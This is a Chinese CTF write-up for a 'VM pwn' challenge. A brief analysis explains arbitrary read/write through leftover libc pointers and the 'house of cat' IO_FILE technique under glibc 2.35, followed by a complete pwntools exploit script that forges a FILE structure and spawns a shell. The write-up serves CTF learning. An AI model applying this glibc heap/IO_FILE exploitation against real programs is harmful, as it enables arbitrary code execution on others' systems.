简简单单手搓一个VM-Pwn

# 鼠鼠也是手搓过 VM 薯薯的啦

# 题目分析

未知 libc 版本,这里按照 2.35 的 Glibc 进行操作。
实现的 VM 只有一个寄存器,但是可以利用 unsorted bin 残留的 libc 指针实现任意地址读写。
但是只有一个寄存器有点鸡肋,于是采用栈的方法依次修改。
就是首先把所有操作以及地址存到栈上面,最后通过 pop 进行各自的读写操作。
由于末尾添加了 exit 函数,got 表不可写 (Full RELRO),绕过 got 进行栈上劫持执行流是不行了。
高版本 hook 基本都没了
exithook 还要位移的运算,但是指令集没有提供,所以这条路没法走。
所以还是乖乖打 IO_FILE。这里采用 house of cat

# Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn4'
#p=remote(' ',)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn4')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

code=b''
def push_reg():
global code
code+=p64(1)
def pop_reg():
global code
code+=p64(2)
def mov_reg_sp():
global code
code+=p64(3)
def xor_reg_imm(imm):
global code
code+=p64(4)+p64(imm)
def mov_reg_reg():
global code
code+=p64(5)
def add_reg_imm(imm):
global code
code+=p64(6)+p64(imm)
def sub_reg_imm(imm):
global code
code+=p64(7)+p64(imm)

pop_reg()
push_reg()
one=0xebcf1
# tar=0x2190D0
sh=0x1d8698
system=0x50d60
pop_rdi=0x2a3e5
sub_reg_imm(0x000073081c019ce0-0x73081be00000)
# reg=libc_base
def libc_push_libc_addr(off):
add_reg_imm(off)
push_reg()
sub_reg_imm(off)
def libc_get_heap_base():
add_reg_imm(0x7b65704193c0-0x7b6570200000)
mov_reg_reg()
def heap_base_get_libc_base():
add_reg_imm(0x2a0)
mov_reg_reg()
sub_reg_imm(0x00007b6570419ce0-0x7b6570200000)
def libc_push_heap_addr(off):
libc_get_heap_base()
add_reg_imm(off)
push_reg()
sub_reg_imm(off)
heap_base_get_libc_base()
def heap_base_push_heap_addr(off):
add_reg_imm(off)
push_reg()
sub_reg_imm(off)
io_wfile_jumps=0x02160C0
fakeio=0x5bc4242d52d0-0x5bc4242d4000+0x10+0xc00
libc_push_libc_addr(io_wfile_jumps+0x30)# 0xd8
libc_push_heap_addr(fakeio+0xd8)
setcon61=0x053A30+61
libc_push_libc_addr(setcon61)# 0xd8
libc_push_heap_addr(fakeio+0x118+0x18)

libc_push_libc_addr(sh)
libc_push_heap_addr(fakeio+0x138+0x68)

libc_push_libc_addr(0x7b657041b000-0x7b6570200000+0x300)
libc_push_heap_addr(fakeio+0x138+0xa0)
execve=0xeb0f0
libc_push_libc_addr(execve)
libc_push_heap_addr(fakeio+0x138+0xa8)

libc_get_heap_base()

heap_base_push_heap_addr(fakeio+0x138)
heap_base_push_heap_addr(fakeio+0x50)

heap_base_push_heap_addr(fakeio+0x30)
heap_base_push_heap_addr(fakeio+0xa0)

heap_base_push_heap_addr(fakeio+0x118)
heap_base_push_heap_addr(fakeio+0x110)

heap_base_push_heap_addr(fakeio)

heap_base_get_libc_base()

add_reg_imm(0x21A680)
mov_reg_sp()

pop_reg()

for i in range(8):
pop_reg()
mov_reg_sp()
pop_reg()

gdb.attach(p,"b _IO_switch_to_wget_mode")
payload=code.ljust(0xc00-0x10,b'\x00')+p64(0xffffffffffffffff)+p64(0xffffffffffffffff)
payload=payload.ljust(0xc30,b'\x00')+p64(0)*3+p64(1)
payload=payload.ljust(0xc00+0xc0,b'\x00')+p64(1)
p.sendlineafter("Inputs your code:",payload.ljust(0x1000,b'\x00'))
p.interactive()